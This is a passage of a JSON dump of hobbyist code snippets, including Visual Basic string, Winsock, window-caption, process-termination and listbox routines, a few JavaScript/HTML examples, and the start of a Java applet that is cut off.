Function"},{"WorldId":1,"id":26132,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28134,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29448,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30593,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31305,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33232,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33194,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33002,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27099,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28804,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35050,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35055,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26011,"LineNumber":1,"line":"Public Function findInString(strdata As String, strValue As String, strReplace As String, arrPos() As Long, lngFoundCount As Long, boolRemove As Boolean, boolReplace As Boolean) As Long\n'This functions purpose is to search for a user defined string within another user defined string\n'It provides the ability to remove or replace that string\n'The function returns an array with the start position of each match found. This feature means that the programer\n'using this function has the ability to easily and quickly recreate the powerful find and replace features found in\n'products like MS Word\n'By recieving matches in an array you can quickly create a find first find next type feature as well\n'THIS VERSION IS CASE SENSITIVE coming soon is the option for a case sensetive or generic search\n\n'---------------------------------------\n'Function Info\n'Passed Variables\n'strData = Target String to search - This is required\n'strValue = String to search for within strData - This is required\n'strReplace = String to replace any matches found with - This is optional\n'arrPos = This is a return the position of each match in an array\n'lngFoundCount = This returns the count of matches found\n'boolRemove = this is a switch to activate the remove feature - Optional\n'boolReplace = this is a swith to activate the replace feature - Optional\n'The actual function is a long Data Type and returns an error value\n'0 = Search Completed No Results\n'1 = Search Completed Matches Found\n'2 = No Target String defined\n'3 = No Search String Defined\n'4 = No Replace String Defined when Replace is set to true\n'5 = Both Replace and Remove features have been set to true\n'6 = Unexpected Error\n'---------------------------------------\nDim arrByteTarget() As Byte ' Declare array to contain Target string\nDim arrByteFind() As Byte ' Declare array to contain Search String\nDim arrByteReplace() As Byte 'Declare array to contain Replace String\nDim arrByteTempLeft() As Byte 'Declare a temoporary array to contain data to the left of a match\nDim arrByteTempRight() As Byte 'Declare temporary array to contain data to the right of a match\nDim lngLoopTarget As Long 'Declare A Loop counter\nDim lngFindStart As Long 'Declare a start position container\nDim lngloopStep As Long 'Declare another loop counter\nDim lngStepTemp As Long 'Declare yet another loop Counter\nDim lngStrValBytCount As Long 'Declare Search String Byte Count container\nDim lngStrRemBytCount As Long 'Declare Replace String Byte Count Container\nDim lngTempBound As Long 'Declare a temporary Long Variable Container\nDim boolFoundTemp As Boolean 'Declare a temporary Found Switch\nDim boolFound As Boolean 'Declare a Found Switch\nDim boolSpaceAdded As Boolean 'Declare a Space has been added to front of string switch\nOn Error GoTo ErrorHandler 'Always be Wary for the unexpected\nIf Len(strdata) = 0 Then 'Check the target string has data\n findInString = 2\n GoTo ExitFunction\nEnd If\nIf Len(strValue) = 0 Then 'check the search string has data\n findInString = 3\n GoTo ExitFunction\nEnd If\nIf boolReplace = True Then 'check to see if replace has been selected\n If Len(strReplace) = 0 Then 'if it has check to see replace string has data\n findInString = 4\n GoTo ExitFunction\n Else\n strReplace = Chr$(32) & strReplace 'if it does add a space to the front of it for Padding\n arrByteReplace = strReplace\n End If\nEnd If\nIf boolReplace = True And boolRemove = True Then 'check that both replace and remove arnt selected\n findInString = 5\n GoTo ExitFunction\nEnd If\nIf Len(strValue) = 1 Then 'Check to see if the search value is a space if it is dont add spaces\n If Asc(strValue) = 32 Then\n boolSpaceAdded = False\n GoTo StartSearch\n End If\nEnd If\nstrValue = Chr$(32) & strValue & Chr$(32) 'add spaces to front and back of search string this is to make sure it doesnt pick up just portions of words\nboolSpaceAdded = True\nStartSearch:\nlngFoundCount = 0 'set the found count to zero\narrByteTarget = strdata 'assign the target data to the array\narrByteFind = strValue 'assign the search data to the array\nboolFound = False 'set the default found value\nlngFindStart = LBound(arrByteFind) 'set the start value\n \nFor lngLoopTarget = LBound(arrByteTarget) To UBound(arrByteTarget) Step 1 'start loop through the array byte by byte\n If arrByteFind(lngFindStart) = arrByteTarget(lngLoopTarget) Then 'compare first byte of search string till a match found\n lngStepTemp = lngLoopTarget + 1 'match found so check the rest of the word\n boolFoundTemp = True\n For lngloopStep = (lngFindStart + 1) To UBound(arrByteFind) Step 1\n \n If lngStepTemp = UBound(arrByteTarget) And lngloopStep < (UBound(arrByteFind)) Then 'if a match is lost before the end of the search string then no match is found\n boolFoundTemp = False\n Exit For\n End If\n \n If arrByteFind(lngloopStep) <> arrByteTarget(lngStepTemp) Then\n boolFoundTemp = False\n Exit For\n End If\n \n lngStepTemp = lngStepTemp + 1\n \n Next lngloopStep\n \n If boolFoundTemp = True Then 'if there was a match found\n If lngFoundCount > 0 Then 'check to see if this is the first match\n ReDim Preserve arrPos(UBound(arrPos) + 1) 'add the start position to the array\n Else\n ReDim arrPos(0) 'if this is the first match initialise the array\n End If\n If boolSpaceAdded = False Then\n arrPos(UBound(arrPos)) = (lngLoopTarget / 2) 'if no padding was added calculate position\n Else\n arrPos(UBound(arrPos)) = (lngLoopTarget / 2) + 1 'padding added calculate position\n End If\n lngFoundCount = lngFoundCount + 1 'increment count\n boolFound = True 'set match found to true\n \n End If\n \n End If\n \nNext lngLoopTarget\nIf boolFound = True Then 'there was a match found\n \n If boolRemove = True Then 'check if it is to be removed\n If boolSpaceAdded = True Then 'check the padding\n lngStrValBytCount = ((Len(strValue) - 1) * 2)\n Else\n lngStrValBytCount = (Len(strValue) * 2)\n End If\n \n For lngLoopTarget = 0 To (lngFoundCount - 1) 'Fill the left hand side temp array with data to the left of a match\n \n If lngLoopTarget > 0 Then\n lngTempBound = ((((arrPos(lngLoopTarget) * 2) - 2)) - (lngStrValBytCount * lngLoopTarget)) 'caclulate the position in the array of the match\n Else\n lngTempBound = ((arrPos(lngLoopTarget) * 2) - 2)\n End If\n \n For lngStepTemp = LBound(arrByteTarget) To lngTempBound Step 1 'fill the array\n \n If lngStepTemp = LBound(arrByteTarget) Then\n ReDim arrByteTempLeft(0)\n Else\n ReDim Preserve arrByteTempLeft(UBound(arrByteTempLeft) + 1)\n End If\n \n arrByteTempLeft(lngStepTemp) = arrByteTarget(lngStepTemp)\n \n Next lngStepTemp\n \n If lngLoopTarget > 0 Then 'calculate the start position of the right hand side of the match\n lngTempBound = (((arrPos(lngLoopTarget) * 2) - 2) - (lngStrValBytCount * lngLoopTarget) + lngStrValBytCount)\n Else\n lngTempBound = (((arrPos(lngLoopTarget) * 2) - 2) + lngStrValBytCount)\n End If\n \n For lngStepTemp = lngTempBound To UBound(arrByteTarget) Step 1 'fill the array\n \n If lngStepTemp = lngTempBound Then\n ReDim arrByteTempRight(0)\n Else\n ReDim Preserve arrByteTempRight(UBound(arrByteTempRight) + 1)\n End If\n \n arrByteTempRight(UBound(arrByteTempRight)) = arrByteTarget(lngStepTemp)\n \n Next lngStepTemp\n \n arrByteTarget = arrByteTempLeft\n lngStepTemp = UBound(arrByteTarget) 'join the two halves back together now that a match item has been removed\n \n ReDim Preserve arrByteTarget(((UBound(arrByteTarget)) + (UBound(arrByteTempRight))))\n For lngloopStep = LBound(arrByteTempRight) To UBound(arrByteTempRight)\n arrByteTarget(lngStepTemp) = arrByteTempRight(lngloopStep)\n lngStepTemp = lngStepTemp + 1\n Next lngloopStep\n Next lngLoopTarget 'loop through all matches in array\n \n strdata = \"\" 'prepare target string\n \n For lngloopStep = LBound(arrByteTarget) To UBound(arrByteTarget) Step 1 'fill string\n If arrByteTarget(lngloopStep) > 0 Then\n strdata = strdata & Chr$(arrByteTarget(lngloopStep))\n End If\n Next lngloopStep\n \n End If\n \n If boolReplace = True Then 'if replace was selected\n If boolSpaceAdded = True Then 'check padding\n lngStrValBytCount = ((Len(strValue) - 1) * 2)\n Else\n lngStrValBytCount = (Len(strValue) * 2)\n End If\n \n lngStrRemBytCount = (Len(strReplace) * 2)\n \n For lngLoopTarget = 0 To (lngFoundCount - 1)\n \n If lngLoopTarget > 0 Then 'calculate match position\n lngTempBound = (((arrPos(lngLoopTarget) * 2) - 2)) - (lngStrValBytCount * lngLoopTarget)\n lngTempBound = lngTempBound + (lngStrRemBytCount * lngLoopTarget) - 2\n Else\n lngTempBound = ((arrPos(lngLoopTarget) * 2) - 2)\n End If\n \n For lngStepTemp = LBound(arrByteTarget) To lngTempBound Step 1 'fill left have array\n \n If lngStepTemp = LBound(arrByteTarget) Then\n ReDim arrByteTempLeft(0)\n Else\n ReDim Preserve arrByteTempLeft(UBound(arrByteTempLeft) + 1)\n End If\n \n arrByteTempLeft(lngStepTemp) = arrByteTarget(lngStepTemp)\n \n Next lngStepTemp\n \n If lngLoopTarget > 0 Then 'calculate right hand postion\n lngTempBound = (((arrPos(lngLoopTarget) * 2) - 2) - (lngStrValBytCount * lngLoopTarget) + lngStrValBytCount)\n lngTempBound = lngTempBound + (lngStrRemBytCount * lngLoopTarget) - 2\n Else\n lngTempBound = (((arrPos(lngLoopTarget) * 2) - 2) + lngStrValBytCount)\n End If\n \n For lngStepTemp = lngTempBound To UBound(arrByteTarget) Step 1 ' fill right hand side array\n \n If lngStepTemp = lngTempBound Then\n ReDim arrByteTempRight(0)\n Else\n ReDim Preserve arrByteTempRight(UBound(arrByteTempRight) + 1)\n End If\n \n arrByteTempRight(UBound(arrByteTempRight)) = arrByteTarget(lngStepTemp)\n \n Next lngStepTemp\n \n lngStepTemp = UBound(arrByteTempLeft) 'prepare bounds for inserting replacement string\n ReDim Preserve arrByteTempLeft(((UBound(arrByteTempLeft)) + (UBound(arrByteReplace))))\n For lngloopStep = LBound(arrByteReplace) To UBound(arrByteReplace) 'insert replacement string\n \n arrByteTempLeft(lngStepTemp) = arrByteReplace(lngloopStep)\n lngStepTemp = lngStepTemp + 1\n \n Next lngloopStep\n \n arrByteTarget = arrByteTempLeft\n lngStepTemp = UBound(arrByteTarget)\n \n ReDim Preserve arrByteTarget(((UBound(arrByteTarget)) + (UBound(arrByteTempRight)))) 'join arrays again\n For lngloopStep = LBound(arrByteTempRight) To UBound(arrByteTempRight)\n arrByteTarget(lngStepTemp) = arrByteTempRight(lngloopStep)\n lngStepTemp = lngStepTemp + 1\n Next lngloopStep\n \n \n Next lngLoopTarget\n \n strdata = \"\" 'prepare string\n \n For lngloopStep = LBound(arrByteTarget) To UBound(arrByteTarget) Step 1 'fill string\n If arrByteTarget(lngloopStep) > 0 Then\n strdata = strdata & Chr$(arrByteTarget(lngloopStep))\n End If\n Next lngloopStep\n End If\n \n findInString = 1 'success\n GoTo ExitFunction\nElse\n findInString = 0 'no match found\n GoTo ExitFunction\nEnd If\nErrorHandler:\n findInString = 6 'oops I hope that wasnt my fault\nExitFunction:\n'clean up after ourselves\nErase arrByteFind\nErase arrByteTarget\nErase arrByteReplace\nErase arrByteTempRight\nErase arrByteTempLeft\nlngLoopTarget = vbNull\nlngloopStep = vbNull\nlngStepTemp = vbNull\nlngFindStart = vbNull\nlngStrValBytCount = vbNull\nlngTempBound = vbNull\nlngStrRemBytCount = vbNull\nEnd Function"},{"WorldId":1,"id":25960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26010,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33449,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33717,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25981,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25986,"LineNumber":1,"line":"'make 2 text boxes\n'Name them Text1 - For The Windows Caption\n'And Text2 - For the New WIndows Caption\n'Make 1 Button \n'Name it Command1\nPrivate Sub Command1_Click()\nDim temp As Long\ntemp = FindWindow(vbNullString, Text1.Text)\nSetWindowText temp, Text2.Text\nEnd Sub\n"},{"WorldId":1,"id":26086,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26408,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32235,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34614,"LineNumber":1,"line":"\nThrough Winsock you can do TCP/IP socket connections using the Microsoft Winsock control. This control is the interface between your Visual Basic program and the networking hardware. This component is not used by default and you will need to add it to the toolbar. To do this right-click on the objects toolbar and select components from the dropdown menu. Scroll through the list until you find Microsoft Winsock Control, put a check in the box next to it and click the Apply button. Place one or more of these controls on your form to use them. \nNow before we get into the actual code to use Winsock here is a quick list of what happens during a session between a client and the server. For the purposes of this tutorial I'm calling the computer that waits and accepts the connection the server and the computer that makes the connection request the client (The computer hosting www.planetsourcecode.com is the server your computer contacting it with a web browser is the client). \n1) The Server selects a port and begins to listen on it for connections. There are 65,535 ports available for each IP address the computer has. I recommend using the ports from 1,024 to 65,535 because the others are reserved for specific uses (HTTP traffic uses port 80, FTP uses port 21, etc). \n2) The client makes a connection request to that port on the server. This is the only place where the distinction between the server and the client can be made. After the connection is established both computers are essentially on equal ground as far as abilities. \n3) The server accepts the connection request. After this step the connection is completed. A protocol or some standard should be used to coordinate the communication between the two computers. Using Winsock will not automatically set this for you, you will be responsible for this. \n4) The client or server waits for incoming data while the other sends data. Through the connection only one computer may send data at a time. The way the winsock control handles the data flow this potential problem is masked so you don't have to be overly concerned with it. \n5) The client or server close the connection. Either may close the connection but it is important for both sides to acknowledge that the connection is closed. \nIn order to do this you need to create a server program and a client program. We'll start with the server and step 1, listening on a port. In my server program I am going to call the Winsock object wskIn, to mean its a winsock object intended for incoming connections. In order to accept the incoming connections you need to set the Index property to some value, zero is recommended. When the server app gets an incoming connection it will need to assign a winsock object to handle that connection, and the winsock object that is listening for connections should remain listening its role shouldn't change otherwise future connection attempts will be ignored. Don't be too concerned about that I'll explain it more later, for now just trust me and set the Index to 0. Also you will need to set the LocalPort property to the port number you want to listen on. When picking the port to listen on as I said before that the lower ports (0 to 1,024) are reserved for specific uses, so you should pick one of the higher numbers (1,024 to 65,535), the only real restriction is that the port can not already be in use. Once all these two values have been assigned you call the Listen method of the winsock control. After this paragraph of text we now have two lines of code, its gonna be a long tutorial. \n'Remember I am calling my winsock control wskIn \n'wskIn.Index must be set when the control is placed on the form \n'the sub's for it will not be created correctly otherwise \n'Since I set the index to zero we have to include that in every reference to the control \nwskIn(0).LocalPort = 2000 'Remember any number from 0 to 65,535 will work \nwskIn(0).Listen \nNow we have a server that is waiting for incoming connections. Let's make a client that will request a connection. In my client program I am going to call the winsock control wskOut, to mean its a winsock object intended for outgoing connections. On this control we only need to call the Connect method. This method takes two parameters a String that has the address of the computer to connect to and and Integer that has the port number to connect to. \n'Remember I am calling my winsock control wskOut \nwskOut.Connect \"MyServer\", 2000 'The address and port must match those of the server \nNow the server has to accept the incoming connection. When a connection request gets to the server the listening winsock control (wskIn(0)) will get a ConnectionRequest event and its associated sub will be called. So in that sub we need to accept the connection. As I was saying before is that we can't change the job of the winsock control that is listening for connections. Otherwise we will not receive any new connections and we may lose the current one. So what I suggest is dynamically creating a new winsock control to handle the incoming connections. This is the real reason I wanted the index set to zero, as I Load these new winsock controls I'm going to establish an array out of wskIn. In my examples I am not keeping track of the current loaded winsock controls, just a heads up for those who are going to copy and paste. Once you have your new winsock control to handle the connection you needs to be sure that is is in the closed state, there is no reason it shouldn't be after being created but just to be safe. After that you call the Accept method to actually take the connection. The Accept method uses only one parameter which is the requestID passed to this sub. This requestID is an identifier for this particular connection, this is the only place you will need it so there is no reason to save it. Here is how that will look: \n\nPrivate Sub wskIn_ConnectionRequest(Index As Integer, ByVal requestID As Long) \nLoad wskIn(1) \nif wsKin(1).State <> sckClosed then \n wskIn(1).Close \nend if \nwskIn(1).Accept requestID \nEnd Sub \nOnce all this has been completed the winsock control that initiated the connection (wskOut from the client) and the winsock control that accepted the connection (wskIn(1) from the server) will receive Connect events and their associated subs will be called. This is just to let you know that the connection is established and available for use. Now we can begin to send data between the server and client. In the example I chose to send the data in the sub for the Connect event, this isn't required but you must wait until this event comes through before you can send data, you don't need to process the event it just has to occur. \nNow that we have a completed connection we can begin to send data between the computers. In order to send data you only need to use the SendData method of the winsock control. This method takes only a single parameter which is the data to be sent. Once you make the request to send data two events will occur for the winsock control, first the SendProgress event and then the SendComplete event. As with the connection you need to wait until these events occur before you can send more data, you don't need to process them however. \nwskOut.SendData \"This will be sent\" \nOn the receiving end the winsock control that is receiving the data will get a DataArrival event. To retreive the data you must call the GetData method. This method also requires only one parameter which is the variable to store the data in. I was never successful in attempting to retreive data outside of the DataArrival sub but it may be possible. Also if the State parameter of the winsock control is not sckConnected then it will fail on the attempt to receive data. I don't know how you can get a data arrival event after the connection is closed but it seemed to be happening so in the example I am checking for that possibility. \nPrivate Sub wskIn_DataArrival(Index As Integer, ByVal bytesTotal As Long) \n Dim strData As String \n If (wskIn(Index).State <> sckConnected) Then \n Exit Sub \n End If \n \n wskIn(Index).GetData strData \nEnd Sub \nThis process can be repeated as much as necessary for any data that you want to send. After you have completed your transfers you need to close the connection. You use the Close method of the winsock control for this. This method does not require any parameters. \nwskIn.Close \nEither end of the connection (server or client) can close the connection and then both sides will receive a Close event to inform you that the connection has been broken. \nThere is more to the winsock control but that ought to be enough to get you started. I've enclosed a sample program which is a crude chat application that shows all of this in action.\n"},{"WorldId":1,"id":26034,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26485,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26053,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31400,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26059,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28620,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26858,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28986,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30782,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26121,"LineNumber":1,"line":"Public Function Hit(Object1 As Object, Object2 As Object) As Boolean\nIf Object1.Left > Object2.Left - Object1.Width And Object1.Left - Object2.Width < Object2.Left And Object1.Top - Object2.Top < Object2.Top And Object1.Top > Object2.Top - Object1.Top Then Hit = True\nIf Object1.Left > Object2.Left - Object1.Width And Object1.Left - Object2.Width < Object2.Left And Object1.Top - Object2.Height < Object2.Top And Object1.Top > Object2.Top - Object1.Height Then Hit = True\nEnd Function"},{"WorldId":1,"id":26150,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32677,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32142,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27817,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27026,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30604,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30362,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30359,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26403,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26281,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27866,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28846,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30734,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30843,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32084,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31854,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33978,"LineNumber":1,"line":"Private Declare Function GetExitCodeProcess Lib \"kernel32\" (ByVal hProcess As Long, lpExitCode As Long) As Long \nPrivate Declare Function TerminateProcess Lib \"kernel32\" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long \nPrivate Declare Function OpenProcess Lib \"kernel32\" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long \nPrivate Declare Function GetWindowThreadProcessId Lib \"user32\" (ByVal hwnd As Long, lpdwProcessId As Long) As Long \nPrivate Declare Function CloseHandle Lib \"kernel32\" (ByVal hObject As Long) As Long \nPrivate Sub TerminateProcByHwnd(ByVal hwnd As Long) \nConst PROCESS_ALL_ACCESS = &H1F0FFF \nDim ThreadIDX As Long \nDim PROCESSIDX As Long \nDim EXCODE As Long \nDim PROCESS As Long \nThreadIDX = GetWindowThreadProcessId(hwnd, PROCESSIDX) \nPROCESS = OpenProcess(PROCESS_ALL_ACCESS, 0, PROCESSIDX) \nCall GetExitCodeProcess(PROCESS, EXCODE) \nCall TerminateProcess(PROCESS, EXCODE) \nCall CloseHandle(PROCESS) \nEnd Sub \nTerminate Calling:TerminateProcByHwnd hwnd "},{"WorldId":1,"id":33499,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33087,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26303,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31751,"LineNumber":1,"line":"'This is the correct comments format'\nPublic Function AIntervals(FDate, SDate, URformat) As String\n '^_^ all my softwares and API codes are \n ' usually copyrighted ┬⌐ but with the funct\n ' ions\n 'I give out it freely ^_^\n 'But please (if you can) please put my n\n ' ame ( UDMX IOCP┬« ) on your software ( <=\n ' > you make 1 )\n Dim xY, xD, xH, xN, xS\n xY = DateDiff(\"yyyy\", FDate, SDate)\n xD = DateDiff(\"D\", FDate, SDate)\n xH = DateDiff(\"H\", FDate, SDate)\n xN = DateDiff(\"N\", FDate, SDate)\n xS = DateDiff(\"S\", FDate, SDate)\n Dim VarD, VarH, VarN, VarS\n S1:\n VarD = xD - (xY * 365)\n If VarD < 0 Then\t\t'If the date is negative then\n VarD = -VarD + 365\t'It takes the 365 from the years then add it to the opposite of it self\n xY = xY - 1\t'Since it took the 365 from the years, then the year must be subtract by 1\n End If\n S2:\n VarH = xH - (xD * 24)\n If VarH < 0 Then\t\t'If the hour is negative then\n VarH = -VarH + 24\t'It takes the 24 from the days then add it to the opposite of it self\n xD = xD - 1\t'Since it took the 24 from the days, then the date must be subtract by 1\n GoTo S1 \t'After this you will need to go back and recalculate *note that the date does not need to do this*\n End If\n S3:\n VarN = xN - (xH * 60)\n If VarN < 0 Then\t\t'If the hour is negative then\n VarN = -VarN + 60\t'It takes takes the 60 from the days then ad it to the opposite of it self\n xH = xH - 1\t'Since it took the 60 from the days, then the days must be subtract by 1\n GoTo S2\t\t'After this it will need to go back and recalculate\n End If\n VarS = xS - (xN * 60)\n If VarS < 0 Then\t'If the minute is negative then\n VarS = -VarS + 60\t'It takes takes the 60 from the hours then ad it to the opposite of it self\n xN = xN - 1\t'Since it took the 60 from the hours, then the hours must be subtract by 1\n GoTo S3\t\t'After this it will need to go back and recalculate\n End If\n AIntervals = Replace(Replace(Replace(Replace(Replace(LCase(URformat), \"yyyy\", xY), \"d\", VarD), \"h\", VarH), \"n\", VarN), \"s\", VarS)\t\t'This is a multi replace function that I used.\n'<replace continued...> All it does is replace the variable that you have inserted to this function\nEnd Function\n"},{"WorldId":1,"id":29415,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34449,"LineNumber":1,"line":"'''ALL THESE FUNCTIONS ARE COMPATABLE TO MULTISELECT'''\n'Moving Listbox item down\nPublic Function LstMoveDown(lst As ListBox)\nDim i\nDim strString As String\nDim strItemData As Long\nFor i = lst.ListCount - 2 To 0 Step -1\n If (lst.Selected(i) = False) Then GoTo skip\n strString = lst.List(i)\n strItemData = lst.ItemData(i)\n lst.RemoveItem (i)\n If i < lst.ListCount - 1 Then\n lst.AddItem strString, i + 1\n lst.ItemData(i + 1) = strItemData\n lst.Selected(i + 1) = True\n Else\n lst.AddItem strString\n lst.Selected(lst.ListCount - 1) = True\n End If\nskip:\nNext i\nEnd Function\n'Moving Listbox item up\nPublic Function LstMoveUp(lst As ListBox)\nDim i\nDim strString As String\nDim strItemData As Long\nFor i = 0 To lst.ListCount - 1\n If (lst.Selected(i) = False) Or i = 0 Then GoTo skip\n strString = lst.List(i)\n strItemData = lst.ItemData(i)\n lst.RemoveItem (i)\n lst.AddItem strString, i - 1\n lst.ItemData(i - 1) = strItemData\n lst.Selected(i - 1) = True\nskip:\nNext i\nEnd Function\n'Removing Listbox items\nPublic Function LstRemoveItem(lst As ListBox)\nDim i\nFor i = lst.ListCount - 1 To 0 Step -1\n If (lst.Selected(i) = True) Then\n lst.RemoveItem (i)\n End If\nNext i\nEnd Function\n"},{"WorldId":1,"id":26325,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34397,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35186,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28321,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26368,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28173,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":212,"LineNumber":1,"line":"<SCRIPT LANGUAGE=\"JavaScript\">\nfunction myClick3() {\n document.all(\"ONE\").innerText = 'This is table cell ONE';\n document.all(\"TWO\").innerText = 'This is table cell TWO';\n}\n</SCRIPT>\n<TABLE BORDER=1>\n<TR><TD ID=\"ONE\">This is the text in ONE</TD></TR>\n<TR><TD ID=\"TWO\">This is the text in TWO</TD></TR>\n</TABLE>\n<FORM><INPUT TYPE=\"BUTTON\" VALUE=\"Click Me\" onClick=\"myClick3()\"></FORM>\n"},{"WorldId":2,"id":232,"LineNumber":1,"line":"Use a timer to close the window, and add a TARGET to the form: \n<FORM ACTION=\"apage.html\" TARGET=\"mywindowname\" onSubmit=\"setTimeout('window.close',2000)\">\n<INPUT TYPE=\"SUBMIT\">\n</FORM>\n \n\nNow make sure that in the main window you set its name (by default the main window has no name): \n<SCRIPT LANGUAGE=\"JavaScript\"></SCRIPT>"},{"WorldId":2,"id":234,"LineNumber":1,"line":"<BODY onBlur=\"self.focus()\">\n"},{"WorldId":2,"id":241,"LineNumber":1,"line":"initial.html: \n<SCRIPT LANGUAGE=\"JavaScript\"></SCRIPT>\n<A HREF=\"javascript:go('nextpage.html')\">go to next page</A>\n \n\npopup.html: \n<SCRIPT LANGUAGE=\"JavaScript\"></SCRIPT>\n<FORM NAME=\"myForm\">\nName: <INPUT TYPE=\"TEXT\" NAME=\"loginname\">\nPassword: <INPUT TYPE=\"PASSWORD\" NAME=\"loginpassword\">\n<INPUT TYPE=\"BUTTON\" VALUE=\"ENTER\" onClick=\"returnDetails()\">\n</FORM>\n \n\nnextpage.html: \n<SCRIPT LANGUAGE=\"JavaScript\"></SCRIPT>"},{"WorldId":2,"id":268,"LineNumber":1,"line":"import java.awt.*;\nimport java.util.StringTokenizer;\n/** Affiche un message sur un fond de cercles concentriques animes.\n *\tVos remarques a vincent.zimmermann@nctech.fr\n *\tUtilisable librement.\n *\n *\tExemple d'utilisation dans une page HTML :\n *\t<APPLET CODE=\"AnimCercles.class\" WIDTH=350 HEIGHT=200>\n *\t<PARAM NAME=\"bgColor\" VALUE=\"blue\">\n *\t<PARAM NAME=\"fgColor\" VALUE=\"green\">\n *\t<PARAM NAME=\"bgType\" VALUE=\"RoundRect\">\n *\t<PARAM NAME=\"cornerX\" VALUE=\"35\">\n *\t<PARAM NAME=\"cornerY\" VALUE=\"25\">\n *\t<PARAM NAME=\"text\" VALUE=\"Java !!!\">\n *\t<PARAM NAME=\"font\" VALUE=\"TimesRoman\">\n *\t<PARAM NAME=\"style\" VALUE=\"BOLD\">\n *\t<PARAM NAME=\"textColor\" VALUE=\"red\">\n *\t<PARAM NAME=\"size\" VALUE=\"90\">\n *\t<PARAM NAME=\"playBack\" VALUE=\"0\">\n *\t<PARAM NAME=\"step\" VALUE=\"10\">\n *\t<PARAM NAME=\"timeSleep\" VALUE=\"15\">\n *\tIl aurait du y avoir une applet ici si votre Browser avait supporte Java...\n *\t</APPLET>\n *\n *\tExplications :\n *\t font : Helvetica, TimesRoman, Courier, Dialog\n *\t style : PLAIN, BOLD, ITALIC, 